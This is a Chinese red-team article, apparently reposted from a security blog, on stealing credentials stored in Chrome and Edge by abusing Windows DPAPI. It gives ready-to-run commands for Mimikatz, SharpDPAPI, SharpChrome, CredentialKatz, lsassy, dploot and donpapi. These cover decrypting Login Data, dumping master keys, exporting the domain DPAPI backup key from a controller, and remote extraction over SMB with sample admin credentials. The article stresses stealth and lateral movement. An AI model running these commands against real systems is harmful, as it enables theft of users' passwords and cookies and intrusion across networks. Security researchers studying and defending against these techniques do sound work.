文章总结: 本文介绍了红队如何提取浏览器存储的凭证,详细说明了WindowsDPAPI的工作原理以及Chrome和Edge浏览器如何使用它加密存储凭证。文章提供了多种工具和方法来解密这些凭证,包括Mimikatz、SharpDPAPI、SharpChrome和CredentialKatz等,并给出了具体的命令示例。此外,还讨论了域备份密钥的提取和使用,以及在非域加入系统中如何远程执行DPAPI操作。这些技术对红队进行横向移动和权限提升具有重要价值。
综合评分: 89
文章分类: 红队,渗透测试,漏洞分析,内网渗透,WEB安全
红队安全研究之浏览器存储的凭证
原创
白帽子左一
白帽子左一
2025年11月18日 12:00
美国
扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
微软在 Windows 环境中引入了数据保护应用程序接口(DPAPI),用于通过 CryptProtectData 和 CryptUnprotectData 函数对敏感数据(如凭证)进行加密和解密。Chrome 和 Edge 等浏览器在存储凭证前会使用 DPAPI 进行加密。主密钥(master key)本地存储,可以通过用户密码解密,从而用于解密 DPAPI 的数据块。
在红队行动中,凭证存储的位置始终是重点目标,因为这些凭证能用于访问其他应用或实现横向移动。使用 Microsoft Edge 或 Google Chrome 存储用户凭证的组织容易受到 CryptUnprotectData API 滥用的攻击(T1555.003)。需要注意的是,读取浏览器中存储的凭证不需要任何权限提升,而且由于监控时会产生大量事件,这种行为对防御团队来说很难检测。
主密钥位于以下路径中,默认情况下不可见,因为它们被分类为受保护的系统文件。
C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\<MasterKey>
Mimikatz 是第一个与 DPAPI 交互的工具,并包含专门用于执行解密操作的模块。然而,Mimikatz 的加密密钥解析器目前已失效,因此无法再用于解密 DPAPI 数据块,会出现 No Alg and/or key handle 的错误信息。
取而代之,可以通过在 PowerShell 控制台中执行以下命令,从 “Local State” 文件中提取加密密钥:
(gc ``"$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"` `| ``ConvertFrom-Json``).os_crypt.encrypted_key
提取到的加密密钥可以导入 Mimikatz 的 dpapi::chrome 模块中,用于解密 “Login Data” 的内容。
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:[EncryptedKey] /unprotect
SharpDPAPI 是 Mimikatz DPAPI 功能的 C# 移植版本,支持基于内存的执行。可以通过执行以下命令获取主密钥:
dotnet inline-execute SharpDPAPI.exe masterkeys /rpc
SharpChrome 是 SharpDPAPI 的一部分,主要针对基于 Chromium 的浏览器(如 Chrome、Edge 和 Brave)中存储的敏感信息。该工具会尝试使用加密函数 BCrypt 从 “Local State” 文件中读取并解密 AES 密钥。随后使用 CryptUnprotectData() API 解密存储在浏览器中的密码。
dotnet inline-execute SharpChrome logins
另一种替代工具 CredentialKatz 实现了不同的方法,它直接从 Chrome 或 Edge 的凭证管理器中导出凭证。这种方式更具隐蔽性,因为它尝试注入现有的浏览器进程中读取凭证,而不使用 DPAPI 进行解密。同时,它还支持通过 minidump 文件进行离线凭证解析。CredentialKatz 通过 PasswordReuseDetectorImpl 类从凭证管理器中以明文形式提取密码。
CredentialKatz.exe
域备份密钥(Domain Backup Key)
如果已获取域管理员权限,则可以从域控制器中提取 DPAPI 备份密钥,以解密域内任意用户的主密钥。备份密钥存储在以下 Active Directory 位置:
Mimikatz 支持通过执行以下命令远程导出备份密钥:
lsadump::backupkeys /system:dc.red.lab /export
导出的备份密钥可与目标用户的主密钥结合使用,以解密加密密钥。
dpapi::masterkey /in:"C:\Users\peter\AppData\Roaming\Microsoft\Protect\S-1-5-21-955986923-3279314952-43775158-1105\15e65bfa-6f2b-4abc-8199-c53e32c31d6f" /pvk:backupkey.pvk
同样,SharpDPAPI 也可以执行此操作。如果未指定 .pvk 文件,密钥将直接显示在控制台中。
dotnet inline-execute SharpDPAPI.exe backupkey /nowrap /server:dc.red.lab
SharpDPAPI.exe backupkey /nowrap /server:dc.red.lab /file:backupkey.pvk
非域加入系统(Non-Domain Joined)
目前已有足够的工具可在非域加入系统中远程执行 DPAPI 操作。通过使用 lsassy,可以获取包括主密钥在内的多种信息。执行以下命令可获取并将主密钥保存到文件中。
lsassy -d purple.lab -u Administrator -p Password123 10.0.1.2 -m rdrleakdiag -M masterkeys
主密钥文件可以导入到 dploot(SharpDPAPI 的 Python 实现)中,并结合浏览器参数使用。该工具通过 SMB 与目标主机进行身份验证,并导出 Microsoft Edge 和 Google Chrome 中存储的凭证和 Cookie。dploot 会从 “Local State” 文件中提取 AES 密钥,然后解密存储在 “Login Data” 文件中的凭证。
dploot browser -d purple.lab -u Administrator -p Password123 10.0.1.2 -mkfile /home/kali/masterkeys
同样,也可以使用 masterkeys 参数从 dploot 中提取主密钥。
dploot masterkeys -d purple.lab -u Administrator -p Password123 10.0.1.2
类似的操作也可以使用 donpapi 完成。
donpapi red/Administrator:[email protected] -o /home/kali
本文提到的大多数工具都遵循特定的操作流程。如果工具在非域加入的主机(如 Linux)上运行,它会首先建立 SMB 连接,然后读取 Local State 文件的内容以解密 AES 密钥,最后解密存储在 Login Data 中的密码。而那些从植入程序中内存执行的工具则省略了 SMB 连接步骤。除了采用不同方法的 CredentialKatz,其余工具的行为都大致相同。下图展示了该过程的执行顺序。
获取更多精彩内容,尽在Track安全社区~:https://bbs.zkaq.cn
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
@
学习更多渗透技能!体验靶场实战练习

(hack视频资料及工具)
往期推荐
看到这里了,来个一键三连(点赞+收藏+关注)吧
~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白帽子左一 白帽子左一《红队安全研究之浏览器存储的凭证》